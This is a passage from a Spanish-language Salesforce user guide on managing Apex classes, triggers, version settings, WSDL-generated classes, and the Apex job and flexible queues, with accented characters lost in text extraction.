AppExchange de
Force.com
Para crear las clases de
Apex:
"Apex de autor"

-------------------------------------------------------------------------------- Asunto:
Excepcin de secuencia de comandos de desarrollador desde CLASSNAME La
organizacin/usuario siguiente no ha gestionado la excepcin de desencadenador de
secuencia de comandos de Apex: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE
--------------------------------------------------------------------------------

Por ejemplo:
-------------------------------------------------------------------------------- De:
Aplicacin de Apex? <info@salesforce.com> A: joeuser@salesforce.com
<joeuser@salesforce.com> Asunto: Excepcin de comando de desarrollador de Gack WS?
Fecha: Lun, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) La organizacin/usuario
siguiente no ha gestionado la excepcin de desencadenador de secuencia de comandos de
Apex: 010x0000000rfPg/00Fx00000009ejj TestException.Test Exception?: Excepcin de Gack
Class.Gack WS?.gackTestException: lnea 4, columna 11
--------------------------------------------------------------------------------

El nmero de correos electrnicos generados para el mismo error est limitado a 10 mensajes con el mismo asunto en un periodo de
60 segundos.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 55

Gestin de clases de Apex


Disponible en: Performance Edition, Unlimited Edition, Developer Edition y Enterprise
Edition

Una clase de Apex es una plantilla o estructura a partir de la cual se crean objetos Apex. Las clases
estn compuestas por otras clases, mtodos definidos por el usuario, variables, tipos de excepcin
y cdigo de inicializacin esttico. Una vez almacenadas correctamente, se puede recurrir a los
mtodos o las variables de clases mediante otro cdigo Apex, o a travs de la API de SOAP (o kit
de herramientas AJAX) para mtodos que se han diseado con la palabra clave webService.

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

La pgina Clases de Apex le permite crear y gestionar clases de Apex. Para acceder a la pgina Clases
de Apex, en Configuracin, haga clic en Desarrollo > Clases de Apex. Si desea funciones de desarrollo adicionales use la Consola de
desarrollador.
Para crear una clase de Apex, desde la pgina Clases de Apex, haga clic en Nuevo y escriba su cdigo Apex en el editor.
Mientras que los desarrolladores pueden escribir mtodos de clases segn la sintaxis establecida en la Gua del desarrollador del cdigo
Apex de Force.com, las clases se pueden generar automticamente utilizando un documento WSDL almacenado en un disco duro local
o en la red. La creacin de una clase utilizando un documento WSDL permite a los desarrolladores realizar llamadas al servicio Web
externo en su Apex. En la pgina Clases de Apex, haga clic en Generar desde WSDL para generar una clase de Apex desde un documento
WSDL.
Una vez que haya creado una clase de Apex, podr realizar una de estas acciones:
Haga clic en Modificar junto al nombre de la clase para modificar su contenido en un editor simple.
Haga clic en Eliminar junto al nombre de la clase para eliminar la clase de su organizacin.
Nota:
Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce solo en una organizacin de
Developer Edition, una organizacin de prueba de Salesforce Enterprise Edition o una organizacin de sandbox. En una
organizacin de produccin de Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de
la API de metadatos, el IDE de Force.com o la Herramienta de migracin de Force.com. El IDE de Force.com y la
herramienta de migracin de Force.com son recursos gratuitos proporcionados por salesforce.com para ayudar a sus
usuarios y socios, pero no se consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de
salesforce.com.
No puede eliminar una clase especificada como un controlador para un componente o una pgina de Visualforce.
Un icono
indica que una clase de Apex se ha instalado en un paquete gestionado. Las clases de Apex en paquetes
tienen consideraciones especiales.
Un icono
indica que una clase de Apex est en un paquete gestionado instalado. No puede modificar ni eliminar una
clase de un paquete gestionado.
Un icono
indica que una clase de Apex en un paquete gestionado y editado anterior se eliminar en la prxima carga
del paquete. Puede seleccionar recuperar la clase de Apex mediante la pgina de detalles del paquete.
Si una clase de Apex tiene algn mtodo definido como webService, puede hacer clic en WSDL junto la nombre de clase para
generar un documento WSDL a partir del contenido de la clase. Este documento contiene toda la informacin necesaria para que
un cliente consuma mtodos de servicio Web de Apex. Todos los mtodos de clases con la palabra clave webService se incluyen
en el documento WSDL resultante.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 56

Haga clic en Seguridad junto al nombre de clase para seleccionar los perfiles que se admiten para ejecutar mtodos en la clase
desde puntos de entrada de nivel superior, como mtodos de servicio Web. Para las clases instaladas en su organizacin como parte
de un paquete gestionado, este vnculo slo se muestra para las definidas como global.
Haga clic en Estimar la cobertura de cdigo de su organizacin para saber qu cantidad del cdigo Apex en su organizacin
est cubierta actualmente por pruebas de unidad. Este porcentaje se basa en los ltimos resultados de pruebas que ya ha realizado.
Si no tiene resultados de pruebas, la cobertura del cdigo ser 0%.
Si tiene pruebas de unidad en al menos una clase Apex, haga clic en Ejecutar todas las pruebas para realizar todas las pruebas de
unidad de su organizacin.
Haga clic en Compilar todas las clases para compilar todas las clases de Apex en su organizacin. Si tiene clases que se instalan
desde un paquete gestionado y que tienen mtodos de comprobacin o son clases de prueba, debe compilar estas clases primero
antes de visualizarlas y de ejecutar sus mtodos de prueba desde la pgina Ejecucin de prueba de Apex. Las clases de paquetes
gestionados slo se pueden compilar mediante el vnculo Compilar todas las clases porque no se pueden guardar. En caso
contrario, si guarda las clases de Apex que no forman parte de un paquete gestionado, se volvern a compilar. Este vnculo compila
todas las clases de Apex de su organizacin, ya sean o no de un paquete gestionado.
Nota: El prefijo de espacio de nombres se agrega a clases y desencadenadores de Apex, componentes y pginas de Visualforce,
plantillas de marca, carpetas, S-Control, recursos estticos, vnculos Web y tipos de informes personalizados si se incluyen en un
paquete gestionado. Sin embargo, si no dispone de permisos de personalizacin de la aplicacin, no se mostrar el campo de
prefijo del espacio de nombres para plantillas de marca, carpetas y tipos de informes personalizados.
CONSULTE TAMBIN
Definicin de clases de Apex
Vista de clases de Apex

Gestin de desencadenadores de Apex


Un desencadenador es un cdigo de Apex que se ejecuta antes o despus de que sucedan eventos
especficos de lenguaje de manipulacin de datos (DML), como antes de insertar en la base de
datos registros de objetos o despus de eliminar registros.
Los desencadenadores se almacenan como metadatos en Salesforce. Una lista de todos los
desencadenadores de su organizacin se encuentra, en Configuracin, Desarrollo >
Desencadenadores de Apex. Adems de esta lista, los desencadenadores estn asociados y
almacenados con objetos especficos. En el caso de objetos estndar, los desencadenadores se
encuentran, en Configuracin, en Personalizar > Nombre_Objeto_Estndar >
Desencadenadores y en la pgina de detalles de objeto para objetos personalizados en Crear >
Objetos > Nombre_Objeto_Personalizado. Si desea funciones de desarrollo adicionales
use la Consola de desarrollador.
Nota: El prefijo de espacio de nombres se agrega a clases y desencadenadores de Apex,
componentes y pginas de Visualforce, plantillas de marca, carpetas, S-Control, recursos
estticos, vnculos Web y tipos de informes personalizados si se incluyen en un paquete
gestionado. Sin embargo, si no dispone de permisos de personalizacin de la aplicacin, no
se mostrar el campo de prefijo del espacio de nombres para plantillas de marca, carpetas y
tipos de informes personalizados.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, establecer ajustes
de versin y mostrar las
dependencias de los
desencadenadores de
Apex:
"Apex de autor"

Haga clic en Nuevo para crear un desencadenador de Apex.


Nota: Slo puede crear desencadenadores desde el objeto asociado, no desde la pgina Desencadenadores de Apex.
Una vez que haya creado un desencadenador de Apex:

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 57

Haga clic en Modificar junto al nombre del desencadenador para modificar su contenido en un editor.
Haga clic en Eliminar junto al nombre del desencadenador para eliminar el desencadenador de su organizacin.
Nota:
Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce solo en una organizacin de Developer
Edition, una organizacin de prueba de Salesforce Enterprise Edition o una organizacin de sandbox. En una organizacin de
produccin de Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de la API de
metadatos, el IDE de Force.com o la Herramienta de migracin de Force.com. El IDE de Force.com y la herramienta de
migracin de Force.com son recursos gratuitos proporcionados por salesforce.com para ayudar a sus usuarios y socios, pero
no se consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de salesforce.com.
Un icono
indica que un desencadenador Apex est en un paquete gestionado instalado. No puede modificar ni eliminar
un desencadenador de un paquete gestionado.
Un icono
indica que un desencadenador de Apex en un paquete gestionado y editado anterior se eliminar en la prxima
carga del paquete. Puede seleccionar recuperar el desencadenador de Apex mediante la pgina de detalles del paquete.

CONSULTE TAMBIN
Definicin de desencadenadores de Apex

Gestin de la configuracin de versin de Apex


Para permitir la compatibilidad con versiones anteriores, las clases se almacenan con la configuracin
de una versin especificada de Apex y la API. Si la clase de Apex hace referencia a componentes,
como un objeto personalizado, en paquetes gestionados instalados, tambin se guarda la
configuracin de versin de los paquetes gestionados a los que hace referencia dicha clase. Esto
garantiza que como Apex, la API, y los componentes en paquetes gestionados evolucionan a
versiones publicadas posteriores, una clase o desencadenador sigue estando vinculado a versiones
con un comportamiento especfico y conocido.
Una versin de paquete es un nmero que identifica el conjunto de componentes cargados en un
paquete. El nmero de versin tiene el formato
majorNumber.minorNumber.patchNumber (por ejemplo, 2.1.3). Los nmeros mayor
y menor aumentan con cada versin posterior. El patchNumber se genera y se actualiza slo
para una versin de parche. Los editores pueden utilizar las versiones de paquetes para hacer
evolucionar los componentes de sus paquetes gestionados cmodamente publicando versiones
posteriores de paquetes sin que dicho paquete estropee las integraciones de clientes existentes.
Para definir la versin de la API y de Apex de salesforce.com para una clase o desencadenador:
1. Edite una clase o un desencadenador y haga clic en Configuracin de versin.
2. Seleccione la Versin de la API de salesforce.com. Tambin es la versin de Apex asociada
a la clase o el desencadenador.
3. Haga clic en Guardar.
Para configurar la configuracin de versin del paquete de una clase o un desencadenador:

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
Los paquetes gestionados
no estn disponibles en
Database.com.

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

1. Edite una clase o un desencadenador y haga clic en Configuracin de versin.


2. Seleccione una versin de cada paquete gestionado al que hace referencia la clase o el desencadenador. La clase o el
desencadenador seguir utilizando esta versin del paquete gestionado si se instalan versiones posteriores del paquete gestionado,
a menos que actualice manualmente la configuracin de versin. Para agregar un paquete gestionado instalado en la lista de

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 58

configuracin, seleccione un paquete en la lista de paquetes disponibles. La lista slo se muestra si tiene un paquete gestionado
instalado que no est ya asociado a la clase o el desencadenador.
3. Haga clic en Guardar.
Cuando trabaje con la configuracin de versin de paquete, tenga en cuenta lo siguiente:
Si guarda una clase o un desencadenador de Apex que hace referencia a un paquete gestionado sin especificar una versin del
paquete gestionado, la clase o el desencadenador de Apex se asocia de forma predeterminada a la versin instalada ms reciente
del paquete gestionado.
No puede eliminar la configuracin de versin de una clase o un desencadenador para un paquete gestionado si se hace referencia
al paquete en la clase o en el desencadenador. Utilice Mostrar dependencias para encontrar dnde una clase o un desencadenador
hace referencia a un paquete gestionado.

Vista de clases de Apex


Despus de haber creado una clase, puede ver el cdigo incluido en la clase, as como la API en
relacin a la que se guard la clase y si la clase es vlida o activa. En Configuracin, haga clic en
Desarrollo > Clases de Apex y, a continuacin, haga clic en el nombre de la clase que desea ver.
Mientras ve una clase, tambin puede realizar lo siguiente:
Haga clic en Modificar para realizar cualquier cambio en la clase.
Nota:
Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce
solo en una organizacin de Developer Edition, una organizacin de prueba de
Salesforce Enterprise Edition o una organizacin de sandbox. En una organizacin
de produccin de Salesforce, solo podr realizar cambios de Apex utilizando la llamada
Implementacin de la API de metadatos, el IDE de Force.com o la
Herramienta de migracin de Force.com. El IDE de Force.com y la herramienta de
migracin de Force.com son recursos gratuitos proporcionados por salesforce.com
para ayudar a sus usuarios y socios, pero no se consideran parte de nuestros servicios
en lo relativo al Contrato de suscripcin principal de salesforce.com.
Un icono indica que una clase de Apex se ha instalado en un paquete gestionado.
Las clases de Apex en paquetes tienen consideraciones especiales.
Un icono
indica que una clase de Apex est en un paquete gestionado instalado.
No puede modificar ni eliminar una clase de un paquete gestionado.
Un icono
indica que una clase de Apex en un paquete gestionado y editado
anteriormente se eliminar en la prxima carga del paquete. Puede seleccionar
recuperar la clase de Apex mediante la pgina de detalles del paquete.
Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce
solo en una organizacin de Developer Edition, una organizacin de prueba de Salesforce
Enterprise Edition o una organizacin de sandbox. En una organizacin de produccin
de Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin
de la API de metadatos, el IDE de Force.com o la Herramienta de migracin
de Force.com. El IDE de Force.com y la herramienta de migracin de Force.com son
recursos gratuitos proporcionados por salesforce.com para ayudar a sus usuarios y socios,
pero no se consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin
principal de salesforce.com.
Hacer clic en Eliminar para eliminar la clase.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 59

Nota: No puede eliminar una clase especificada como un controlador para un componente o una pgina de Visualforce.
Si su clase tiene un mtodo definido como webService, haga clic en Generar WSDL para generar un documento WSDL basado
en la clase.
Nota: No puede generar un documento WSDL para clases definido como isTest.
Haga clic en Descargar para descargar una copia de su Apex.
Haga clic en Realizar prueba para ejecutar las pruebas de unidad de la clase.
Haga clic en Seguridad para configurar el nivel de seguridad de clase de Apex.
Haga clic en Mostrar dependencias para mostrar los elementos, como campos, objetos u otras clases, que deben existir para que
esta clase sea vlida.
La ficha Resumen de clase muestra el prototipo de la clase; esto es, las clases, los mtodos y las variables que estn disponibles para
otros cdigos de Apex. La ficha Resumen de clase indica el nivel de acceso y la firma de cada mtodo y variable en una clase de Apex,
as como las clases internas. Si no hay ningn prototipo disponible, esta ficha no estar disponible.
Nota:
Para las clases de Apex no incluidas en los paquetes gestionados, slo se muestran las clases, los mtodos y las variables
definidas como global o public.
En el caso de las clases de Apex incluidas en paquetes gestionados, la ficha Resumen de clase tambin indica la versin de
paquete en el que se introdujo una propiedad o mtodo especfico. Puede seleccionar un nmero de versin de la lista
desplegable para ver el prototipo para la versin de paquete seleccionada. El valor predeterminado es la versin actualmente
instalada. Un desarrollador de paquete puede desaprobar un mtodo Apex y cargar una nueva versin de paquete, exponiendo
de este modo una clase de Apex con un prototipo diferente. Slo las clases, los mtodos y las variables definidos como global
se muestran en los prototipos de clases de paquetes gestionados.
Si una clase de Apex hace referencia a componentes de paquetes gestionados instalados, como otra clase, un desencadenador o un
objeto personalizado, la ficha Configuracin de versin indica las versiones de paquete de los paquetes que incluyen los componentes
a los que se hace referencia.
La ficha Filtros de registro muestra las categoras del registro de depuracin y los niveles del registro de depuracin que puede definir
para la clase.
CONSULTE TAMBIN
Definicin de clases de Apex
Gestin de clases de Apex
Filtrado de registros de depuracin de clases de Apex y desencadenadores de Apex

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 60

Visualizacin de detalles de desencadenador de Apex


Los desencadenadores de Apex se almacenan como metadatos en la aplicacin bajo el objeto con
el que se asocian. Tambin puede visualizar todos los desencadenadores en Configuracin haciendo
clic en Desarrollo > Desencadenadores de Apex.
Nota: Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce
solo en una organizacin de Developer Edition, una organizacin de prueba de Salesforce
Enterprise Edition o una organizacin de sandbox. En una organizacin de produccin de
Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de
la API de metadatos, el IDE de Force.com o la Herramienta de migracin de
Force.com. El IDE de Force.com y la herramienta de migracin de Force.com son recursos
gratuitos proporcionados por salesforce.com para ayudar a sus usuarios y socios, pero no se
consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de
salesforce.com.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para visualizar
desencadenadores de
Apex:
"Apex de autor"

Para visualizar los detalles de un desencadenador, en Configuracin, haga clic en Desarrollo >
Desencadenadores de Apex y, a continuacin, haga clic en el nombre del desencadenador.
Tambin puede acceder a los detalles del desencadenador desde el objeto. Para un objeto estndar,
en Configuracin, haga clic en Personalizar, haga clic en el nombre del objeto, haga clic en Desencadenadores y, a continuacin,
haga clic en el nombre del desencadenador. En el caso de un objeto personalizado, en Configuracin, haga clic en Crear > Objetos,
haga clic en el nombre del objeto y, a continuacin, en el nombre del desencadenador.
Desde la pgina de detalles del desencadenador, tambin puede realizar lo siguiente:
Haga clic en Modificar para modificar el contenido del desencadenador.
Nota: Un icono
indica que un desencadenador de Apex est en un paquete gestionado instalado. No puede modificar
ni eliminar un desencadenador de un paquete gestionado.
Haga clic en Eliminar para eliminar el desencadenador de su organizacin.
Haga clic en Mostrar dependencias para mostrar los elementos, como campos, s-controls o clases, a los que hace referencia el
cdigo de Apex que contiene el desencadenador.
Haga clic en Descargar Apex para descargar el texto del desencadenador. El archivo se guardar con el nombre del desencadenador
como el nombre de archivo, con .trg como el tipo de archivo.
La pgina de detalles del desencadenador muestra la siguiente informacin para un desencadenador.
Nombre del desencadenador.
El nombre del objeto al que est asociado el desencadenador, como Cuenta o Caso.
La versin de la API en la que se ha guardado el desencadenador.
Si un desencadenador es vlido.
Nota: Los desencadenadores se almacenan con una marca Es vlido que se define como verdadero siempre que
los metadatos dependientes no hayan cambiado desde que el desencadenador se compil por ltima vez. Si se realiza cualquier
cambio en los nombres o campos de objetos que se utilizan en el desencadenador, incluidos los cambios superficiales como
las modificaciones de una descripcin de objeto o campo, la marca Es vlido se define como falsa hasta que el
compilador del Apex reprocese el cdigo. La nueva compilacin se produce en la prxima ejecucin del desencadenador o
cuando un usuario vuelve a guardar el desencadenador en metadatos.
Si un campo de bsqueda hace referencia a un registro que se ha eliminado, Salesforce borra el valor del campo de bsqueda
de forma predeterminada. Tambin puede seleccionar evitar la eliminacin de registros si estn en una relacin de bsqueda.
Si el desencadenador est activado.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 61

El texto del cdigo Apex incluida en el desencadenador.


Si el desencadenador hace referencia a componentes de paquetes gestionados instalados, como una clase de Apex, una pgina de
Visualforce, un objeto personalizado, etc., la seccin Configuracin de versin indica las versiones de paquete de los paquetes que
incluyen los componentes a los que se hace referencia.
Si el desencadenador se incluye en un paquete gestionado instalado, Paquete instalado indica el nombre del paquete.
La ficha Filtros de registro muestra las categoras del registro de depuracin y los niveles del registro de depuracin que puede definir
para el desencadenador. Si desea ms informacin, consulte Filtrado de registros de depuracin de clases de Apex y desencadenadores
de Apex en la pgina 239.

Creacin de una clase de Apex a partir de WSDL


Una clase de Apex puede generarse automticamente a partir de un documento WSDL almacenado
en un disco duro local o de red. La creacin de una clase utilizando un documento WSDL permite
a los desarrolladores realizar llamadas al servicio Web externo en su Apex.
Nota: Utilice Mensajes salientes para gestionar soluciones de integracin cuando sea posible.
Utilice llamadas a servicios Web de terceros slo cuando sea necesario.
Para acceder a esta funcionalidad:

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

1. En la aplicacin, en Configuracin, haga clic en Desarrollo > Clases de Apex.


2. Haga clic en Generar desde WSDL.
3. Haga clic en Examinar para llegar hasta un documento WSDL en su disco duro local o de red
o introduzca la ruta completa. Este documento WSDL es la base de la clase de Apex que est
creando.
Nota: El documento WSDL que especifique puede contener una ubicacin de extremo
SOAP que hace referencia a un puerto de salida.
Por razones de seguridad, Salesforce restringe los puertos de salida que puede especificar
a uno de los siguientes:

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

80: este puerto slo acepta conexiones HTTP.


443: este puerto slo acepta conexiones HTTPS.
102466535 (incluido): estos puertos aceptan conexiones HTTP o HTTPS.
4. Haga clic en Analizar WSDL para verificar el contenido del documento WSDL. La aplicacin genera un nombre de clase
predeterminado para cada espacio de nombre en el documento WSDL e informa de cualquier error. El anlisis fallar si WSDL contiene
tipos o de estructuras de esquemas que no admiten las clases de Apex, o si las clases resultantes superan el lmite de 1 milln
caracteres en las clases de Apex. Por ejemplo, SOAP API WSDL de Salesforce no se pueden analizar.
5. Modifique los nombres de clase como desee. Aunque puede guardar ms de un espacio de nombre WSDL en una nica clase
utilizando el mismo nombre de clase para cada espacio de nombre, las clases de Apex no pueden contener ms de 1 milln de
caracteres.
6. Haga clic en Generar Apex. La pgina final del asistente muestra qu clases se generaron correctamente junto con cualquier error
de otras clases. La pgina tambin contiene un vnculo para ver cdigos generados correctamente.
La clase de Apex generada correctamente incluye clases de tipo y cdigo auxiliar para activar los servicios Web de terceros representados
por el documento WSDL. Estas clases le permiten activar el servicio Web externo desde Apex. Para ver un ejemplo, consulte la Gua del
desarrollador del cdigo Apex de Force.com.
Tenga en cuenta los siguientes aspectos acerca de la clase de Apex generada:

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 62

Si un documento WSDL contiene una palabra reservada para Apex, a dicha palabra se agrega _x cuando se genera la clase de Apex.
Por ejemplo, limit en un documento WSDL se convierte en limit_x en la clase de Apex generada. Para obtener una lista de
las palabras reservadas, consulte la Gua del desarrollador del cdigo Apex de Force.com.
Si una operacin en WSDL tiene un mensaje de salida con ms de un elemento, la clase de Apex generada contiene los elementos
en una clase interior. El mtodo de Apex que representa la operacin WSDL devuelve la clase interior en lugar de los elementos
individuales.
CONSULTE TAMBIN
Definicin de clases de Apex

Seguimiento de la cola de trabajo de Apex


En la cola de trabajos de Apex se enumeran todos los trabajos de Apex que se han enviado para su
ejecucin. En la lista se incluyen los trabajos que han finalizado la ejecucin, as como los que an
no la han finalizado, incluidos los siguientes:
Mtodos de Apex con la anotacin future que no se han ejecutado an. Estos trabajos se
muestran como futuros en la columna Tipo de trabajo y no tienen valores en las columnas Lotes
totales o Lotes procesados.
Clases de Apex que implementan la interfaz Queueable que no se ha ejecutado an. Estos
trabajos se muestran como futuros en la columna Tipo de trabajo y no tienen valores en las
columnas Lotes totales o Lotes procesados.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

Los trabajos programados de Apex que todava no han terminado de ejecutarse.


Estos trabajos se muestran como Apex programado en la columna Tipo de trabajo, no tienen valores en las columnas Lotes
totales o Lotes procesados y siempre muestran el estado En cola.
No es posible anular los trabajo programados desde esta pgina, para ello debe usar la pgina Trabajos programados para
gestionar o eliminar trabajos programados.
Incluso aunque un trabajo programado aparezca tanto en la pgina Trabajos de Apex y como en la de Trabajos programados,
solo se contabiliza una vez en el lmite de ejecucin de Apex asncrono.
Los trabajos de lote de nuevo clculo de colaboracin de Apex que an no se han ejecutado. Estos trabajos se muestran como Nuevo
clculo de colaboracin en la columna Tipo de trabajo. Los registros en un trabajo de nuevo clculo de colaboracin se dividen
automticamente en lotes. En la columna Lotes totales se indica el nmero total de lotes del trabajo. En cambio, en la columna Lotes
procesados se indica el nmero de lotes que ya se han procesado.
Los trabajos de Apex por lotes que an no se han ejecutado. Estos trabajos se muestran como Apex por lotes en la columna Tipo
de trabajo. Los registros en un trabajo de Apex por lotes se dividen automticamente en lotes. En la columna Lotes totales se indica
el nmero total de lotes del trabajo. En cambio, en la columna Lotes procesados se indica el nmero de lotes que ya se han procesado.
Nota: Los trabajos de lote de nuevo clculo de colaboracin estn disponibles actualmente mediante un programa de versin
limitada. Si desea informacin sobre cmo habilitar trabajos de lote de nuevo clculo de colaboracin de Apex para su organizacin,
pngase en contacto con salesforce.com.
En la columna Estado se muestra el estado actual del trabajo. Los diferentes valores son:

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 63

Estado

Descripcin

En espera 1

El trabajo se ha enviado y est en espera hasta que los recursos del


sistema estn disponibles.

En cola

El trabajo est a la espera de su ejecucin.

Preparacin

El mtodo start del trabajo se ha activado. Este estado podra


durar algunos minutos dependiendo del tamao del lote de
registros.

Procesando

El trabajo se est procesando.

Abortado

Un usuario ha cancelado el trabajo.

Completado

El trabajo se ha completado con o sin fallos.

Con fallos

Se ha producido un fallo del sistema en el trabajo.

Si se produce uno o ms errores durante el procesamiento por lotes, la columna Detalles del estado ofrece una breve descripcin del
primer error. El usuario que inici la clase de ejecucin por lotes recibir una descripcin ms detallada de ese error, junto con todos los
errores subsiguientes.
Para mostrar una lista filtrada de elementos, seleccione una lista predefinida en la lista desplegable Ver o haga clic en Crear nueva
vista para definir su propias vistas personalizadas. Resulta de gran utilidad si desea ver slo los mtodos future o slo los trabajos
de lotes de Apex.
Solo se puede ejecutar un mtodo start del trabajo de Apex del lote cada vez en una organizacin. Los trabajos de lotes que no se
han iniciado an permanecen en la cola hasta que se inicien. Tenga en cuenta que este lmite no causa ningn fallo en el trabajo del
lote y que los mtodos execute del trabajo de Apex del lote se ejecutan an en paralelo si hay ms de un trabajo ejecutndose.
Para cualquier tipo de trabajo de Apex, puede hacer clic en Cancelar trabajo en la columna Accin para detener todo el procesamiento
de ese trabajo.
Todos los trabajos de lote que hayan completado la ejecucin se eliminarn de la lista de colas de lotes siete das despus de su finalizacin.
Para obtener ms informacin sobre Apex, consulte la Gua del desarrollador del cdigo Apex de Force.com.
CONSULTE TAMBIN
Programacin de Apex

Supervisin de la cola flexible de Apex (piloto)


Use la pgina de cola flexible de Apex para ver y reordenar todos los trabajos por lotes con el estado
En espera.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

Este estado forma parte del programa piloto de la cola flexible de Apex.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 64

Nota: Esta funcin est disponible actualmente para seleccionar clientes mediante un programa piloto. Para estar nominado
para unirse a este programa piloto, pngase en contacto con salesforce.com. Se pueden aplicar trminos y condiciones adicionales
para participar en el programa piloto. Tenga en cuenta que los programas piloto estn sujetos a cambios, y por lo tanto, no podemos
garantizar la aceptacin en este programa piloto o un periodo de tiempo en que se pueda activar esta funcin. Los servicios y
funciones que no se hayan comercializado y a los que se haga referencia en este o en otro comunicado de prensa o declaracin
pblica no estn disponibles en este momento y es posible que no lo estn en el momento previsto o que no lleguen a ofertarse.
Los clientes que adquieran nuestros servicios debern tomar sus decisiones de compra en funcin de las funciones que se ofrecen
en estos momentos.
La cola flexible de Apex le permite enviar hasta 100 trabajos por lotes para la ejecucin. Todos los trabajos enviados para su ejecucin,
pero no procesados de inmediato por el sistema, tienen el estado en espera y se incluyen en una cola independiente (cola flexible de
Apex). Hasta 100 trabajos por lotes pueden estar en el estado en espera. Cuando los recursos del sistema estn disponibles, el sistema
selecciona los trabajos de la cola flexible de Apex y los mueve a la cola de trabajos por lotes. El estado de los trabajos movidos cambia
de En espera a En cola. Los trabajos en cola se ejecutan cuando el sistema est listo para procesar trabajos nuevos.
Sin la intervencin del administrador, los trabajos se procesan segn el primero en entrar y el primero en salir en el orden en el que se
envan. Los administradores pueden modificar el orden de los trabajos en espera de la cola flexible de Apex para controlar cundo son
procesados por el sistema. Por ejemplo, puede mover un trabajo por lotes a la primera posicin de la cola en espera de modo que el
primer trabajo se procese cuando el sistema recupere el siguiente trabajo en espera de la cola flexible.

Supervisin y reordenacin de la cola flexible de Apex


Puede supervisar y reordenar los trabajos por lotes en espera de la cola flexible. En esta pgina se incluyen todos los trabajos por lotes
en el estado En espera con determinada informacin sobre cada trabajo, como el identificador del trabajo, la fecha de envo y la
clase de Apex. De forma predeterminada, estos trabajos se numeran por el orden de envo, empezando por la posicin 1, la cual se
corresponde con el trabajo enviado en primer lugar. Para cambiar la posicin de un trabajo, haga clic en Volver a ordenar junto al
trabajo y, a continuacin, introduzca el nmero de la posicin a la que desee mover el trabajo. El sistema coloca el trabajo en la posicin
especificada con las siguientes excepciones: Especificar una posicin de 1 o inferior mueve el trabajo al inicio de la cola y especificar una
posicin superior al nmero de trabajos en la cola mueve el trabajo al final de la cola. Los dems trabajos de la cola flexible se vuelven
a ordenar y numerar del modo correspondiente.
Si el sistema selecciona el siguiente trabajo de la cola flexible de Apex para su procesamiento, el trabajo se quita de la cola flexible de
Apex y se mueve a la cola de trabajos por lotes. Para supervisar el trabajo movido a la pgina Trabajos de Apex, haga clic en Trabajos
de Apex.

Programacin de Apex
Utilice el programador de Apex si tiene clases de Apex especficas que desee ejecutar de manera
regular, o para ejecutar un trabajo de Apex por lotes a travs de la interfaz de usuario de Salesforce.
El programador se ejecuta como un sistema: se ejecutan todas las clases, tanto si el usuario tiene
permiso para ejecutar la clase o no.
Importante: Salesforce programa la clase para su ejecucin a la hora especificada. Puede
que la ejecucin se retrase dependiendo de la disponibilidad del servicio.
Para programar trabajos con el programador de Apex:
1. Implemente la interfaz programable en una clase de Apex que cree una instancia de la
clase que desee ejecutar.
2. En Configuracin, haga clic en Desarrollo > Clases de Apex y haga clic en Programar Apex.
3. Especifique el nombre de la clase que desee programar.
4. Especifique la frecuencia con la que se va a ejecutar la clase de Apex.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 65

En el caso de Semanal, especifique uno o varios das de la semana en los que se va a ejecutar el trabajo (por ejemplo, lunes y
mircoles).
